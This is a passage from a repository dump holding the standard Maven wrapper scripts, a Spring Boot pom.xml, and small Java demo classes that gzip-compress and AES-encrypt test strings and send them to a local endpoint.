    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Mingw, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\n##########################################################################################\n# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n# This allows using the maven wrapper in projects that prohibit checking in binary data.\n##########################################################################################\nif [ -r \"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\" ]; then\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Found .mvn/wrapper/maven-wrapper.jar\"\n    fi\nelse\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ...\"\n    fi\n    if [ -n \"$MVNW_REPOURL\" ]; then\n      jarUrl=\"$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    else\n      jarUrl=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    fi\n    while IFS=\"=\" read key value; do\n      case \"$key\" in (wrapperUrl) jarUrl=\"$value\"; break ;;\n      esac\n    done < \"$BASE_DIR/.mvn/wrapper/maven-wrapper.properties\"\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Downloading from: $jarUrl\"\n    fi\n    wrapperJarPath=\"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\"\n    if $cygwin; then\n      wrapperJarPath=`cygpath --path --windows \"$wrapperJarPath\"`\n    fi\n\n    if command -v wget > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found wget ... using wget\"\n        fi\n        if [ -z \"$MVNW_USERNAME\" ] || [ -z \"$MVNW_PASSWORD\" ]; then\n            wget \"$jarUrl\" -O \"$wrapperJarPath\"\n        else\n            wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD \"$jarUrl\" -O \"$wrapperJarPath\"\n        fi\n    elif command -v curl > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found curl ... using curl\"\n        fi\n        if [ -z \"$MVNW_USERNAME\" ] || [ -z \"$MVNW_PASSWORD\" ]; then\n            curl -o \"$wrapperJarPath\" \"$jarUrl\" -f\n        else\n            curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o \"$wrapperJarPath\" \"$jarUrl\" -f\n        fi\n\n    else\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Falling back to using Java to download\"\n        fi\n        javaClass=\"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java\"\n        # For Cygwin, switch paths to Windows format before running javac\n        if $cygwin; then\n          javaClass=`cygpath --path --windows \"$javaClass\"`\n        fi\n        if [ -e \"$javaClass\" ]; then\n            if [ ! -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Compiling MavenWrapperDownloader.java ...\"\n                fi\n                # Compiling the Java class\n                (\"$JAVA_HOME/bin/javac\" \"$javaClass\")\n            fi\n            if [ -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                # Running the downloader\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Running MavenWrapperDownloader.java ...\"\n                fi\n                (\"$JAVA_HOME/bin/java\" -cp .mvn/wrapper MavenWrapperDownloader \"$MAVEN_PROJECTBASEDIR\")\n            fi\n        fi\n    fi\nfi\n##########################################################################################\n# End of extension\n##########################################################################################\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\nif [ \"$MVNW_VERBOSE\" = true ]; then\n  echo $MAVEN_PROJECTBASEDIR\nfi\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\n# Provide a \"standardized\" way to retrieve the CLI args that will\n# work with both Windows and non-Windows executions.\nMAVEN_CMD_LINE_ARGS=\"$MAVEN_CONFIG $@\"\nexport MAVEN_CMD_LINE_ARGS\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    https://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM set title of command window\ntitle %0\n@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nset DOWNLOAD_URL=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n\nFOR /F \"tokens=1,2 delims==\" %%A IN (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.properties\") DO (\n    IF \"%%A\"==\"wrapperUrl\" SET DOWNLOAD_URL=%%B\n)\n\n@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n@REM This allows using the maven wrapper in projects that prohibit checking in binary data.\nif exist %WRAPPER_JAR% (\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Found %WRAPPER_JAR%\n    )\n) else (\n    if not \"%MVNW_REPOURL%\" == \"\" (\n        SET DOWNLOAD_URL=\"%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    )\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Couldn't find %WRAPPER_JAR%, downloading it ...\n        echo Downloading from: %DOWNLOAD_URL%\n    )\n\n    powershell -Command \"&{\"^\n\t\t\"$webclient = new-object System.Net.WebClient;\"^\n\t\t\"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {\"^\n\t\t\"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');\"^\n\t\t\"}\"^\n\t\t\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')\"^\n\t\t\"}\"\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Finished downloading %WRAPPER_JAR%\n    )\n)\n@REM End of extension\n\n@REM Provide a \"standardized\" way to retrieve the CLI args that will\n@REM work with both Windows and non-Windows executions.\nset MAVEN_CMD_LINE_ARGS=%*\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.6.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun_compress_client</artifactId>\n    <version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.junit.vintage</groupId>\n                    <artifactId>junit-vintage-engine</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.httpcomponents</groupId>\n            <artifactId>httpclient</artifactId>\n            <version>4.5.10</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.alibaba/druid -->\n\t    <dependency>\n\t        <groupId>com.alibaba</groupId>\n\t        <artifactId>druid</artifactId>\n\t        <version>1.2.4</version>\n\t    </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/CompressclientApplication.java",
    "content": "package com.jun.plugin.gzip.compressclient;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class CompressclientApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(CompressclientApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/aop/TestAop.java",
    "content": "package com.jun.plugin.gzip.compressclient.aop;\n\nimport org.springframework.stereotype.Component;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 16:11\n */\npublic interface TestAop {\n\n    public String testSpringBootAop(String str);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/aop/impl/TestAopImpl.java",
    "content": "package com.jun.plugin.gzip.compressclient.aop.impl;\n\nimport org.springframework.stereotype.Component;\n\nimport com.jun.plugin.gzip.compressclient.aop.TestAop;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 16:13\n */\n@Component\npublic class TestAopImpl implements TestAop {\n\n    @Override\n    public String testSpringBootAop(String str) {\n        return \"Hello World.\";\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/compress/CompressUtils.java",
    "content": "package com.jun.plugin.gzip.compressclient.compress;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.io.UnsupportedEncodingException;\nimport java.util.zip.GZIPInputStream;\nimport java.util.zip.GZIPOutputStream;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 14:30\n */\npublic class CompressUtils {\n\n    private static final String GZIP_ENCODE_UTF_8 = \"UTF-8\";\n    private static final String GZIP_ENCODE_ISO_8859_1 = \"ISO-8859-1\";\n\n    private static final int BYTE_NUM = 256;\n\n    /**\n     *\n     * compress:压缩数据方法 <br/>\n     * @param str\n     *          String\n     * @return\n     *          String\n     * @throws IOException\n     *                 IOException\n     */\n    public static String compress(String str) throws IOException {\n        return new String(compressData(str, GZIP_ENCODE_UTF_8), GZIP_ENCODE_ISO_8859_1);\n    }\n//    public static byte[] compress(String str) throws IOException {\n//        return compressData(str, GZIP_ENCODE_UTF_8);\n//    }\n\n    /**\n     *\n     * decompressToStr:解压缩数据方法 <br/>\n     * @param byteStr\n     *          String\n     * @return\n     *          String\n     */\n    public static String decompressToStr(String byteStr) {\n        byte[] bytes;\n        try {\n            bytes = byteStr.getBytes(GZIP_ENCODE_ISO_8859_1);\n            return decompressDataToStr(bytes, GZIP_ENCODE_UTF_8);\n        } catch (UnsupportedEncodingException e) {\n            System.out.println(\"解压缩数据转码失败：\" + e.getMessage());\n        }\n        return null;\n    }\n\n    /**\n     *\n     * compressData:压缩数据具体处理方法 <br/>\n     * @param str\n     *          String\n     * @param encoding\n     *          String\n     * @return\n     *          byte[]\n     */\n    public static byte[] compressData(String str, String encoding) {\n        if (str == null || str.length() == 0) {\n            return null;\n        }\n        ByteArrayOutputStream out = new ByteArrayOutputStream();\n        GZIPOutputStream gzip;\n        try {\n            gzip = new GZIPOutputStream(out);\n            gzip.write(str.getBytes(encoding));\n            gzip.close();\n        } catch (IOException e) {\n            System.out.println(\"压缩数据失败：\" + e.getMessage());\n        }\n        return out.toByteArray();\n    }\n\n    /**\n     *\n     * decompressDataToStr:解压缩数据具体处理方法 <br/>\n     * @param bytes\n     *          byte[]\n     * @param encoding\n     *          String\n     * @return\n     *          String\n     */\n    public static String decompressDataToStr(byte[] bytes, String encoding) {\n        if (bytes == null || bytes.length == 0) {\n            return null;\n        }\n        ByteArrayOutputStream out = new ByteArrayOutputStream();\n        ByteArrayInputStream in = new ByteArrayInputStream(bytes);\n        try {\n            GZIPInputStream ungzip = new GZIPInputStream(in);\n            byte[] buffer = new byte[BYTE_NUM];\n            int n;\n            while ((n = ungzip.read(buffer)) >= 0) {\n                out.write(buffer, 0, n);\n            }\n            return out.toString(encoding);\n        } catch (IOException e) {\n            System.out.println(\"解压缩数据失败：\" + e.getMessage());\n        }\n        return null;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/compress/Main.java",
    "content": "package com.jun.plugin.gzip.compressclient.compress;\n\nimport java.io.IOException;\n\nimport com.jun.plugin.gzip.compressclient.encrypt.AESUtils;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 15:01\n */\npublic class Main {\n\n    public static void main(String [] args){\n        String test=\"test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890\";\n        System.out.println(\"压缩前长度\" + test.length());\n        try{\n            String afterCompressStr = CompressUtils.compress(test);\n            System.out.println(\"压缩后长度\" + afterCompressStr.length());\n\n            // 加密\n            String afterEncryptStr = AESUtils.encrypt(afterCompressStr);\n            System.out.println(\"先压缩后加密的长度\" + afterEncryptStr.length());\n\n            // 加密\n            String _afterEncryptStr = AESUtils.encrypt(test);\n            System.out.println(_afterEncryptStr);\n            String _afterCompressStr = CompressUtils.compress(_afterEncryptStr);\n            System.out.println(\"先加密后压缩的长度\" + _afterCompressStr.length());\n\n        }catch (IOException e){\n            System.out.println(e.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/controller/TestController.java",
    "content": "package com.jun.plugin.gzip.compressclient.controller;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.util.LinkedMultiValueMap;\nimport org.springframework.util.MultiValueMap;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport com.jun.plugin.gzip.compressclient.aop.TestAop;\nimport com.jun.plugin.gzip.compressclient.compress.CompressUtils;\nimport com.jun.plugin.gzip.compressclient.encrypt.AESUtils;\nimport com.jun.plugin.gzip.compressclient.http.HttpClient;\n\nimport java.io.IOException;\n\n/**\n * @Author:Yolanda\n * @Date: 2020/5/7 18:05\n */\n@Controller\npublic class TestController {\n\n    @Autowired\n    private TestAop testAop;\n\n    @RequestMapping(\"/test\")\n    @ResponseBody\n    public String testSpringBootAop(String str){\n        return testAop.testSpringBootAop(str);\n    }\n\n    @Autowired\n    HttpClient httpClient;\n\n    @RequestMapping(value = \"/compress\")\n    @ResponseBody\n    public String hello(){\n        String url = \"http://localhost:8081/hello\";\n        HttpMethod method = HttpMethod.GET;\n        MultiValueMap<String, String> params = new LinkedMultiValueMap<>();\n        String test=\"test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 test1234567890 \";\n        String afterCompressStr = \"\";\n        String afterEncryptStr = \"\";\n        try {\n            // 压缩\n            afterCompressStr = CompressUtils.compress(test);\n            // 加密\n            afterEncryptStr = AESUtils.encrypt(afterCompressStr);\n        }catch (IOException e){\n            System.out.println(e.getMessage());\n        }\n\n//        params.add(\"data\", afterCompressStr);\n        params.add(\"data\", afterEncryptStr);\n\n        String response = httpClient.client(url, method, params);\n        System.out.println(response);\n        return response;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/src/main/java/com/jun/plugin/gzip/compressclient/encrypt/AESUtils.java",
